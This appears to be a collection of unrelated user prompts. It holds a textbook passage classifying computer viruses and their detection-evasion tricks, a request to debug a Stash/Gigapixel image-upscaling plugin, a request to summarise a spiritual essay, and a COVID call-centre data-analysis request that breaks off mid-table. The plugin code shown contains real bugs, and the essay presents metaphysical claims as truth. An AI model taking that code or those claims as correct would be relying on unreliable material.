sector\nvirus:\n\n20\n\nFigure - A boot-sector computer virus.\n\n21\n\uf0b7 Some of the forms of viruses include:\n\uf0fc File - A file virus attaches itself to an executable file, causing it to run the virus\ncode first and then jump to the start of the original program. These viruses are\ntermed parasitic, because they do not leave any new files on the system, and the\noriginal program is still fully functional.\n\uf0fc Boot - A boot virus occupies the boot sector, and runs before the OS is loaded.\nThese are also known as memory viruses, because in operation they reside in\nmemory, and do not appear in the file system.\n\uf0fc Macro - These viruses exist as a macro (script) that is run automatically by\ncertain macro-capable programs such as MS Word or Excel. These viruses can\nexist in word processing documents or spreadsheet files.\n\uf0fc Source code viruses look for source code and infect it in order to spread.\n\uf0fc Polymorphic viruses change every time they spread - Not their underlying\nfunctionality, but just their signature, by which virus checkers recognize them.\n\uf0fc Encrypted viruses travel in encrypted form to escape detection. In practice they\nare self-decrypting, which then allows them to infect other files.\n\uf0fc Stealth viruses try to avoid detection by modifying parts of the system that could\nbe used to detect it. For example the read ( ) system call could be modified so that\nif an infected file is read the infected part gets skipped and the reader would see\nthe original unadulterated file.\n\uf0fc Tunneling viruses attempt to avoid detection by inserting themselves into the\ninterrupt handler chain, or into device drivers.\n\uf0fc Multipartite viruses attack multiple parts of the system, such as files, boot sector,\nand memory.\n\uf0fc Armored viruses are coded to make them hard for anti-virus researchers to\ndecode and understand. In addition many files associated with viruses are hidden,\nprotected, or given innocuous looking names such as "...". \uf0b7 In 2004 a virus exploited three bugs in Microsoft products to infect hundreds of Windows\nservers ( including many trusted sites ) running Microsoft Internet Information Server,\nwhich in turn infected any Microsoft Internet Explorer web browser that visited any of\nthe infected server sites. One of the back-door programs it installed was a keystroke\nlogger, which records user’s keystrokes, including passwords and other sensitive\ninformation. \uf0b7 There is some debate in the computing community as to whether a monoculture, in\nwhich nearly all systems run the same hardware, operating system, and applications,\nincreases the threat of viruses and the potential for harm caused by them.' -'I\'m now getting time="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] Traceback (most recent call last):"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\gigapixel\\_new.py\\", line 283, in "\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] client.upscale\\_PerformerImage()"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\gigapixel\\_new.py\\", line 246, in upscale\\_PerformerImage"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] self.processPerformerImage(image\\_path, performer\\_id)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\gigapixel\\_new.py\\", line 202, in processPerformerImage"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] image\\_data = requests.get(image\\_path).content"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\api.py\\", line 73, in get"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] return request(\\"get\\", url, params=params, \\*\\*kwargs)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\api.py\\", line 59, in request"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] return session.request(method=method, url=url, \\*\\*kwargs)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\sessions.py\\", line 573, in request"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] prep = self.prepare\\_request(req)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\sessions.py\\", line 484, in prepare\\_request"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] p.prepare("\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\models.py\\", line 368, in prepare"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] self.prepare\\_url(url, params)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\models.py\\", line 439, in prepare\\_url"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] raise MissingSchema("\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] requests.exceptions.MissingSchema: Invalid URL \'8152\': No scheme supplied. Perhaps you meant http://8152?"\ntime="2023-01-07 05:31:06" level=error msg="Plugin returned error: exit status 1" and here is the complete code import config\\_manager\nimport configparser\nimport requests\nimport sys\nimport json\nimport pathlib\nimport os\nfrom gigapixel import Gigapixel, Scale, Mode\nfrom pathlib import Path\n\n# Path to Gigapixel executable file.\nexe\\_path = Path(\'B:\\Program Files\\Topaz Labs LLC\\Topaz Gigapixel AI\\Topaz Gigapixel AI.exe\')\n\n# Output file suffix. (e.g. pic.jpg -> pic-gigapixel.jpg)\n# You should set same value inside Gigapixel (File -> Preferences -> Default filename suffix).\noutput\\_suffix = \'-gigapixel\'\n\n# Create Gigapixel instance.\napp = Gigapixel(exe\\_path, output\\_suffix)\n\nconfigpath = os.path.join(pathlib.Path(\\_\\_file\\_\\_).parent.resolve(), \'config.ini\')\n\ndef get\\_config\\_value(config\\_file, section, option):\n config = configparser.ConfigParser()\n config.read(config\\_file)\n return config.get(section, option)\n\n \nclass upscale\\_with:\n\n def \\_\\_init\\_\\_(self, url):\n self.url = url\n self.api\\_key = get\\_config\\_value(configpath, \'STASH\', \'api\\_key\')\n stash\\_url = get\\_config\\_value(configpath, \'STASH\', \'url\')\n if not stash\\_url:\n self.error("You need to set the URL in \'config.ini\'")\n return None\n self.stash\\_url = stash\\_url + "/graphql"\n self.headers = {\n "Accept-Encoding": "gzip, deflate, br",\n "Content-Type": "application/json",\n "Accept": "application/json",\n "Connection": "keep-alive",\n "DNT": "1",\n "ApiKey": self.api\\_key\n }\n \n def log(self, level, message):\n print(f"[{level.upper()}] {message}")\n \n def \\_\\_prefix(self,levelChar):\n startLevelChar = b\'\\x01\'\n endLevelChar = b\'\\x02\'\n\n ret = startLevelChar + levelChar + endLevelChar\n return ret.decode()\n\n def \\_\\_log(self,levelChar, s):\n if levelChar == "":\n return\n\n print(self.\\_\\_prefix(levelChar) + s + "\\n", file=sys.stderr, flush=True)\n\n def trace(self,s):\n self.\\_\\_log(b\'t\', s)\n\n def debug(self,s):\n self.\\_\\_log(b\'d\', s)\n\n def info(self,s):\n self.\\_\\_log(b\'i\', s)\n\n def warning(self,s):\n self.\\_\\_log(b\'w\', s)\n\n def error(self,s):\n self.\\_\\_log(b\'e\', s)\n\n def progress(self,p):\n progress = min(max(0, p), 1)\n self.\\_\\_log(b\'p\', str(progress))\n\n def \\_\\_callGraphQL(self, query, variables=None):\n json = {}\n json[\'query\'] = query\n if variables != None:\n json[\'variables\'] = variables\n\n # handle cookies\n response = requests.post(self.url, json=json, headers=self.headers)\n\n if response.status\\_code == 200:\n result = response.json()\n if result.get("error", None):\n for error in result["error"]["errors"]:\n raise Exception("GraphQL error: {}".format(error))\n if result.get("data", None):\n return result.get("data")\n else:\n raise Exception(\n "GraphQL query failed:{} - {}. Query: {}. Variables: {}".format(response.status\\_code, response.content, query, variables))\n \n \n def listTags(self):\n query = """\n query {\n allTags {\n id\n name\n }\n }"""\n\n result = self.\\_\\_callGraphQL(query)\n return result["allTags"]\n \n\n def findTagIdWithName(self, name):\n query = """\nquery {\n allTags {\n id\n name\n }\n}\n """\n\n result = self.\\_\\_callGraphQL(query)\n name = \'upscale\\_with\\_Gigapixel\'\n for tag in result["allTags"]:\n if tag["name"] == name:\n return tag["id"]\n return None\n \n\n def createTagWithName(self, name):\n query = """\nmutation tagCreate($input:TagCreateInput!) {\n tagCreate(input: $input){\n id \n }\n}\n"""\n variables = {\'input\': {\n \'name\': name\n }}\n\n result = self.\\_\\_callGraphQL(query, variables)\n return result["tagCreate"]["id"]\n\n def destroyTag(self, id):\n query = """\nmutation tagDestroy($input: TagDestroyInput!) {\n tagDestroy(input: $input)\n}\n"""\n variables = {\'input\': {\n \'id\': id\n }}\n self.\\_\\_callGraphQL(query, variables)\n \n def findPerformersByTag(self, id):\n query = """query performer\\_images($performer\\_filter: PerformerFilterType!) {\n findPerformers(performer\\_filter: $performer\\_filter filter: {per\\_page: -1}){\n\n performers{\n id\n name\n image\\_path\n tags{\n name\n }\n }\n}\n}"""\n variables = {\'performer\\_filter\': {\n \'tags\': {\n \'value\': id, \'modifier\': \'INCLUDES\', \'depth\':1\n \n }\n }}\n # self.error(json.dumps(variables))\n # result = self.\\_\\_callGraphQL(query, variables)\n # performers = result["findPerformers"]["performers"]\n # image\\_paths = [performer["image\\_path"] for performer in performers]\n # tags = [performer["tags"] for performer in performers]\n result = self.\\_\\_callGraphQL(query, variables)\n performers = result["findPerformers"]["performers"]\n data = [(performer["id"], performer["image\\_path"]) for performer in performers]\n return data\n\n \n # for performer in tag["id"]:\n\n \n# Adding Gigapixel Now\n def processPerformerImage(self, image\\_path, id):\n # Name of the image file\n file\\_name = \'image.jpg\'\n \n image\\_data = requests.get(image\\_path).content\n \n # Create a Path object for the current directory\n current\\_dir = Path.cwd()\n \n # Save the image data to a file in the current directory\n with open(current\\_dir / file\\_name, \'wb\') as f:\n f.write(image\\_data)\n # Variable for saved image\n image\\_saved = Path(current\\_dir + \'/image.jpg\')\n output\\_path = app.process(image\\_saved, scale=Scale.X2, mode=Mode.STANDARD)\n \n query = """\nmutation performerUpdate($performer\\_update\\_input: PerformerUpdateInput!){\n performerUpdate(input: $performer\\_update\\_input){\n id\n }\n}\n """\n variables = {"performer\\_update\\_input": {"image": output\\_path, "id": id}}\n\n return self.\\_\\_callGraphQL(query, variables)\n def setup\\_tags(self):\n tagName=\'upscale\\_with\\_Gigapixel\'\n tagID = self.findTagIdWithName(tagName)\n if tagID == None:\n tagID = self.createTagWithName(tagName)\n self.debug("adding tag "+tagName)\n else:\n self.debug("tag exists, "+tagName)\n\n def upscale\\_PerformerImage(self):\n tagName = \'upscale\\_with\\_Gigapixel\'\n tagID = self.findTagIdWithName(tagName)\n if tagID is None:\n self.debug("Error no tag for upscale\\_PerformerImage")\n else:\n self.info("Tag exists for upscale\\_PerformerImage") \n \n performers = self.findPerformersByTag(tagID)\n for performer in performers:\n image\\_path, performer\\_id = performer # unpack the tuple into separate variables\n self.processPerformerImage(image\\_path, performer\\_id)\n\n\n# Press the green button in the gutter to run the script.\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n if len(sys.argv) > 1:\n url = "http://localhost:9999/graphql"\n if len(sys.argv) > 2:\n url = sys.argv[2]\n\n if sys.argv[1] == "setup":\n client = upscale\\_all(url)\n client.setup\\_tags()\n elif sys.argv[1] =="upscale\\_all":\n client = upscale\\_all(url)\n client.upscale\\_PerformerImage()\n elif sys.argv[1]== "api":\n fragment = json.loads(sys.stdin.read())\n scheme=fragment["server\\_connection"]["Scheme"]\n port=fragment["server\\_connection"]["Port"]\n domain="localhost"\n if "Domain" in fragment["server\\_connection"]:\n domain = fragment["server\\_connection"]["Domain"]\n if not domain:\n domain=\'localhost\'\n url = scheme + "://" + domain + ":" +str(port) + "/graphql"\n\n client=upscale\\_with(url)\n mode=fragment["args"]["mode"]\n client.debug("Mode: "+mode)\n if mode == "setup":\n client.setup\\_tags()\n elif mode == "upscale\\_all":\n # current\\_dir = Path.cwd()\n # client.processPerformerImage(str(current\\_dir) + \'/image-gigapixel.jpg\')\n client.upscale\\_PerformerImage()\n else:\n print("")\n \n# upscaler = upscale\\_with(url)\n# result = upscaler.listTags()\n# upscaler.processPerformerImage(output\\_path)' -'Can you summarize the following text that we will tag "separation" for reference:\n\nText: Separation\nThis is the beginning of all illusions. Religious people call this sin. Non-believers call this evil. In everyday terms, we call this bad. But we don’t know why this illusion is an illusion. It’s weird to describe this illusion as the illusion— the grandest illusion of them all— because it’s simple and obvious, however, this is the most complex to understand; it requires knowing what the illusion is, and repetition at seeing the illusion. We must know the truth to know what the illusion is, so we must spoil the big surprise to advance, this is the truth:\nThe truth is unity. The truth is oneness. The truth is all there is.\nThe truth applied to human existence, in relationship to all other beings, is that we are all one. We are all one and the same. We are the same as the animals, the plants, the ground, the sky, the water, the clouds, the shit, the poison, the viruses, the cures, the planet(s), the ecosystem, and the solar system. All of it is the same. There is no difference between anything in existence. You and I are no different. You may think: “we bleed the same blood, we have the same physical systems of being, but we are not the same.” This is correct to assert if you are under the illusion. This may bother you— it should. It shouldn’t make sense. How can we be the same if we don’t live in each other’s bodies? How is this possible if you exist outside of my existence? You can look at me, and know that you are you and I am I.\nTo be clear, this will be the hardest thing you ever wake up from. When you do, you have to face it again; there’s no escaping it, it’s all around you. However, you will see that how you respond to this determines what life you live. If you choose to see this as an opportunity to dispel the illusion, you will live a life of love. If you choose to see this as an opportunity to avoid the illusion’s existence, you will live a life of fear. These choices will be echoed repeatedly in this guide because this is all there is.\nThis should strike you if you’ve never thought of this. When it does, you may feel like you slept through your whole life. You may feel embarrassed. You may feel excited. You may feel guilt. You may feel motivated. You may feel a variety of emotions, but you may not feel them right now. You won’t know until they come. And when you do know, they will continue to come as if they never did before.\nEntire books have been written on the subject; in fact, every book is written about the subject. Every book you read, person you listen to, and experience you have serves to dispel the illusion. This text could be an entire thousand page book on the subject. However, this guide’s purpose is to simply raise your awareness to this. For this reason, we will start from a place we all understand: Science and our physical bodies.\nWe believe we are our bodies, so we must believe we are everything that created them. When broken down, we are systems of organs and cells, and broken down further, we are atoms. Everything is made up of atoms. Atoms are the basic building blocks of all cells and they build by cooperation. Cooperation is significant here as it requires intelligence— we are living proof of\nthis as we survived the test of evolution, despite being one of the weaker species in the animal kingdom, because of it. So if atoms are the building blocks, and these building blocks cooperate to build complex beings, there must be an actor behind the building blocks, someone who does the building.\nEnergy is the actor.\nWe are all energy; we are stuff that has the ability to create. For energy to create things, energy requires intelligence. To create motion, intelligence must know how to create motion. If intelligence didn’t know how, it wouldn’t. We must create the conditions for motion to exist within our body before we can do anything. We can observe this when a baby learns how to walk as she learns how to activate certain impulses that create motion. This action, thus, is intelligent. The baby that walks demonstrates his intelligence by creating the complex set of conditions that enable it to walk. Soon enough, the baby’s intelligent expression heightens as she walks like its second nature. So all actions are acts demonstrating intelligence. There is only intelligent action; it follows that intelligent action comes from intelligent forces. Now we will shift our language.\nIntelligent forces are embodied in intelligent stuff, a thinking stuff. This thinking stuff permeates and penetrates our entire universe. This thinking stuff predates us all as it created everything. Science and religion tell overlapping stories on this idea. Science tells of the big bang and religion tells of creation. Both disciplines agree that this event was no accident, there was a cause. The cause is what created us and all there is around us. This includes all we’ve observed throughout history, all we will experience in the future, and all we experience now. We experience them because this intelligent substance flowing through all of us creates through an order, an intelligent order; without it, our universe falls apart, and we would be particles bouncing in space. But we are here, bouncing in space. If this was one big accident, we wouldn’t exist as we know it.\nWe exist as we are through a physical body manifested through many chemical and physical reactions. We are designed to experience any state of being that exists on the spectrum between love and fear. We experience this because our emotions signal this feeling through our senses. We feel connected to one another in real time through empathy. The only way we feel what someone else feels is if we are the same as that someone, or something.\nWe communicate with emotions more than we do any other tool utilized in our universe. We frown when we see our dogs in pain, we smile when we see our plants lean towards the sun. We feel stress when someone is stressed out, and we feel peace when someone is peaceful. We feel what others feel and we feel it as they feel it. We feel what they feel because we always communicate. We feel all because we are all the same; we are energy manifested through intelligent substance. However, this doesn’t satisfy any logical basis for why we don’t experience ourselves as one being. But herein lies the point: We don’t experience ourselves as one being because we separate from knowing ourselves as one being. We separate from knowing this because we forget who we are.\nThis is the greatest illusion because we forget who we really are. We forget that we are intelligence with all of its power to create. In human terms, we are God. This notion couldn’t be more arrogant than Donald Trump speaking to the media; without a political bias, he’s a great demonstration of arrogance. We should think so, given we all don’t know how great we really are— not only as a collective species or universe, but as individuals; if we did, we would use a different adjective to describe him.\nAgain, we are no different from this stuff, we are this stuff. But we fail to realize this because we fail to remember. Instead, we play a game of pretend; we pretend to be who we are not, we choose desired aspects of ourselves, and we perform acts that fulfill our desires as a statement of being. If we don’t like the rest of the spectrum, we avoid it and proudly assert that we are not like that. But we have all of the potential to be that, we just wouldn’t admit that to ourselves.\nTherefore, you will see that we are the same as Donald Trump. This should bother you. This should bother you because you think you are separate from everything. This’s the only way you could hate, fear, or harm someone— if you thought someone was not you. But who you are is who he is, she is, they are, and it is. You are the embodiment of everything experiencing itself.\nYou most certainly wouldn’t harm yourself, at least not intentionally. But you would another if you could forget who they are. If you could dehumanize them in your mind, see them as less/more than you, something other than you, someone who threatens who you are, you could do it. This idea is the source of every single atrocity that has occurred in our universe. From the people you have distaste for, to mass genocide, to destroying our earth.\nYou must act like things are different from the truth to experience it. In this way, you play the greatest role in the greatest show the universe has ever seen: forget who you are and discover it; that is, remove the cover you placed on your identity. You must act like you don’t know who you are to activate yourself. Some actors appear to play this role better than others, but we all play our part perfectly. The act comes full circle when you realize who picks what role you play in the show— you. But you must pretend like you don’t know so the show goes on. In plain terms, this is the greatest game and the greatest show of hide and seek.\nLife is the grand game of hide and seek: hide from yourself to seek yourself. Acceptance of this game is the first stage to understand it. Denial of this game is the illusions power. It shouldn’t make sense, but over time it does. Maybe. If this does make sense, you are already on your way to being entertained while you embody your role here.\nIf this is too much to process, know that you always have a choice: the blue pill or the red pill. The blue pill allows you to be comfortable with everything as it is and forget that this grand illusion hides you from truth. It allows you to be an actor without ever becoming aware of your role in the play, only tasked to perform as you are. You play victim in this role and let the show tell you what’s next. The red pill opens up the rabbit hole. The red pill opens up Pandora’s Box. The red pill opens up awareness. The red pill gives you the script manual. It enables you to control your role in the show as the scriptwriter and lead performer. The red pill enables you to become the show and dictate what happens next.\nThis guide is the equivalent of the red pill. If this is too heavy for you, take the blue pill and stop reading. There’s always a choice. And no matter what you choose, the show will go on. So the choice is free of judgment because it’s all perfect. The 1999 film The Matrix shows this as the single most important choice you ever make. In truth, it is. However, the choice isn’t chosen once— it’s chosen in everything you choose to be and do.\nForget or remember.\nLove or fear.\nCome together or separate from each other.\nYou always make this choice: Red pill or blue pill. This is the illusion in plain sight. Some call this our Grand Dichotomy. Some call it the Grand Illusion: the greatest magic show in the universe. Some, the Greatest Contradiction to hit humans. Some, the Manifestation of Original Sin— the stage known as Hell. Some, Spiritual Amnesia. Some, the Greatest Drama. For convenience, we’ll call this the Illusion of Separation because that’s what it is; the belief we are separate from the truth— separate from all that is, and separate from each other. This illusion’s power is in forgetting the truth, and forgetting the illusion exists.\nRemember, what unites us all is the thinking stuff. Therefore, as products of thinking stuff, how we manifest through it is all the same. The same stuff that wakes you up in the morning is the same stuff that makes the tree grow. The same stuff that makes water flow makes our journey of life flow. The same stuff that holds matter together holds us together. We manifest through desire, the unexpressed possibility seeking expression; this is the foundation of all creation.\nDesire is expressed on a spectrum. If we plot the full range of human experiences on a large circle— the horrific with the most beautiful— we express the full range how we want to. If we include every experience of intelligent substance to this plot, we express the full range of possibilities of the universe. This is why we are here: to experience knowing everything. Every dichotomy we’ve created— good/evil, heaven/hell, love/fear, prosperity/poverty, confidence/arrogance, acceptance/resistance, or any you can imagine— exist on a spectrum expressed through desire. The only difference between us and our environment is how that expression appears. We choose how it looks: we choose how we express love; we choose how we express fear; we choose how we express anger; and we choose how we express joy. We choose how as a statement of who we are.\nWe experience desire because we forget that we have all there is to have and can’t know what something is without knowing what it’s not. We wouldn’t know what happiness, nourishment, health, or love were without their opposite because experiences do not exist without their opposite. The experience requires that we seek it; to seek, we must separate from what we seek. When we’re separate from, we open the possibility for desires and their opposite to be fulfilled; they must both exist for us to choose what we want: The red pill or blue pill.\nThe act of choice provides variety within the most important factor of playing your role in the grand performance: Choose who you are, choose who you want to be, and choose how you\nbecome. The greatest truth can only be experienced with the greatest illusion. We may manifest in ways that look different, but we all fulfill the ultimate purpose of existence: to know what it’s like to be intelligent substance— to be the universe. Before anything else can make sense, you must know this. This is the order. We have the blueprint, and we choose at every moment what we want to do with it— ignore it, use it, or become it.\nWhat happens from this experience is up to the universal order from what you choose. But you break the illusion’s grasp and become free when you remember the truth; that is, until you forget and the cycle repeats. This is the foundation of everything you will read following this; as a result, the following statements will anchor the rest of this guide at each end as your reminder of the goal to raise your awareness:\nAs your perception changes, so do your thoughts, feelings, and actions. As your thoughts, feelings, and actions change, so does your perspective. As your perception changes, therefore, so does your perspective. When your perspective changes, so does your role and choice made at every turn: red pill, blue pill. When your perception changes, you become the choice: becoming all there is.\nWhen you embody all there is within you, you bring unity to the universe. This is the great task we’re here for. How you perform this task is up to you.' -'TIME BASED QUERIES\nI did an analysis of a covid call centre for medical professionals. The first dataset below outlines the number of calls containing the keyword "Error" in accordance with date. This referred to Vaccine Errors. The second data set pasted below outlines the number of webinars that took place for medical professionals, as well as newsletter sent out that related to Covid 19 Vaccine Errors to inform medical professionals about Vaccine Errors. The third dataset is the number of Covid vaccines given in relation to date. Please analyse the following and tell me trends and how the three data sets might relate to each other.\n--\nData Set 1: Error\n\nDate Error\n1/01/2020 0\n8/01/2020 0\n15/01/2020 0\n22/01/2020 0\n29/01/2020 0\n5/02/2020 0\n12/02/2020 0\n19/02/2020 0\n26/02/2020 0\n4/03/2020 0\n11/03/2020 0\n18/03/2020 0\n25/03/2020 0\n1/04/2020 0\n8/04/2020 0\n15/04/2020 0\n22/04/2020 0\n29/04/2020 0\n6/05/2020 0\n13/05/2020 0\n20/05/2020 0\n27/05/2020 0\n3/06/2020 0\n10/06/2020 1\n17/06/2020 0\n24/06/2020 0\n1/07/2020 0\n8/07/2020 0\n15/07/2020 0\n22/07/2020 0\n29/07/2020 0\n5/08/2020 0\n12/08/2020 0\n19/08/2020 1\n26/08/2020 0\n2/09/2020 0\n9/09/2020 0\n16/09/2020 0\n23/09/2020 0\n30/09/2020 0\n7/10/2020 0\n14/10/2020 0\n21/10/2020 0\n28/10/2020 0\n4/11/2020 0\n11/11/2020 0\n18/11/2020 0\n25/11/2020 0\n2/12/2020 0\n9/12/2020 0\n16/12/2020 0\n23/12/2020 0\n30/12/2020 0\n6/01/2021 0\n13/01/2021 0\n20/01/2021 0\n27/01/2021 0\n3/02/2021 0\n10/02/2021 0\n17/02/2021 0\n24/02/2021 0\n3/03/2021 1\n10/03/2021 0\n17/03/2021 0\n24/03/2021 0\n31/03/2021 0\n7/04/2021 0\n14/04/2021 0\n21/04/2021 1\n28/04/2021 0\n5/05/2021 1\n12/05/2021 4\n19/05/2021 0\n26/05/2021 2\n2/06/2021 2\n9/06/2021 1\n16/06/2021 2\n23/06/2021 5\n30/06/2021 6\n7/07/2021 1\n14/07/2021 2\n21/07/2021 3\n28/07/2021 4\n4/08/2021 1\n11/08/2021 3\n18/08/2021 3\n25/08/2021 17\n1/09/2021 9\n8/09/2021 9\n15/09/2021 12\n22/09/2021 3\n29/09/2021 11\n6/10/2021 8\n13/10/2021 9\n20/10/2021 4\n27/10/2021 8\n3/11/2021 10\n10/11/2021 7\n17/11/2021 5\n24/11/2021 6\n1/12/2021 7\n8/12/2021 5\n15/12/2021 4\n22/12/2021 3\n29/12/2021 5\n5/01/2022 11\n12/01/2022 13\n19/01/2022 32\n26/01/2022 34\n2/02/2022 8\n9/02/2022 9\n16/02/2022 12\n23/02/2022 28\n2/03/2022 14\n9/03/2022 18\n16/03/2022 16\n23/03/2022 16\n30/03/2022 12\n6/04/2022 4\n13/04/2022 3\n20/04/2022 3\n27/04/2022 9\n4/05/2022 3\n11/05/2022 1\n18/05/2022 4\n25/05/2022 3\n1/06/2022 5\n8/06/2022 1\n15/06/2022 8\n22/06/2022 3\n29/06/2022 6\n6/07/2022 11\n13/07/2022 21\n20/07/2022 11\n27/07/2022 9\n3/08/2022 3\n10/08/2022 3\n17/08/2022 2\n24/08/2022 3\n31/08/2022 3\n7/09/2022 0\n14/09/2022 0\n21/09/2022 1\n28/09/2022 0\n--\nData Set 2: (Covid Communications)\nDate Covid Communications\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 \n24/02/2021 \n3/03/2021 \n10/03/2021 \n17/03/2021 \n24/03/2021 \n31/03/2021 \n7/04/2021 \n14/04/2021 \n21/04/2021 \n28/04/2021 \n5/05/2021 \n12/05/2021 \n19/05/2021 \n26/05/2021 \n2/06/2021 \n9/06/2021 \n16/06/2021 \n23/06/2021 \n30/06/2021 \n7/07/2021 \n14/07/2021 \n21/07/2021 \n28/07/2021 \n4/08/2021 \n11/08/2021 \n18/08/2021 \n25/08/2021 \n1/09/2021 \n8/09/2021 \n15/09/2021 \n22/09/2021 \n29/09/2021 \n6/10/2021 \n13/10/2021 \n20/10/2021 \n27/10/2021 \n3/11/2021 \n10/11/2021 \n17/11/2021 \n24/11/2021 \n1/12/2021 \n8/12/2021 \n15/12/2021 \n22/12/2021 \n29/12/2021 \n5/01/2022 \n12/01/2022 \n19/01/2022 \n26/01/2022 \n2/02/2022 \n9/02/2022 \n16/02/2022 \n23/02/2022 \n2/03/2022 \n9/03/2022 \n16/03/2022 \n23/03/2022 \n30/03/2022 \n6/04/2022 \n13/04/2022 \n20/04/2022 \n27/04/2022 \n4/05/2022 \n11/05/2022 \n18/05/2022 \n25/05/2022 \n1/06/2022 \n8/06/2022 1\n15/06/2022 \n22/06/2022 \n29/06/2022 \n6/07/2022 \n13/07/2022 \n20/07/2022 \n27/07/2022 \n3/08/2022 \n10/08/2022 \n17/08/2022 \n24/08/2022 \n31/08/2022 \n7/09/2022 \n14/09/2022 \n21/09/2022 \n28/09/2022 \n\nData Set 3: Weekly Covid Vaccines Adminstered\nDate Weekly Covid Vaccinations\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 3\n24/02/2021 1785\n3/03/2021 9809\n10/03/2021 7840\n17/03/2021 9782\n24/03/2021 15901\n31/03/2021 28639\n7/04/2021 24628\n14/04/2021 47479\n21/04/2021 51768\n28/04/2021 52400\n5/05/2021 74079\n12/05/2021 84959\n19/05/2021 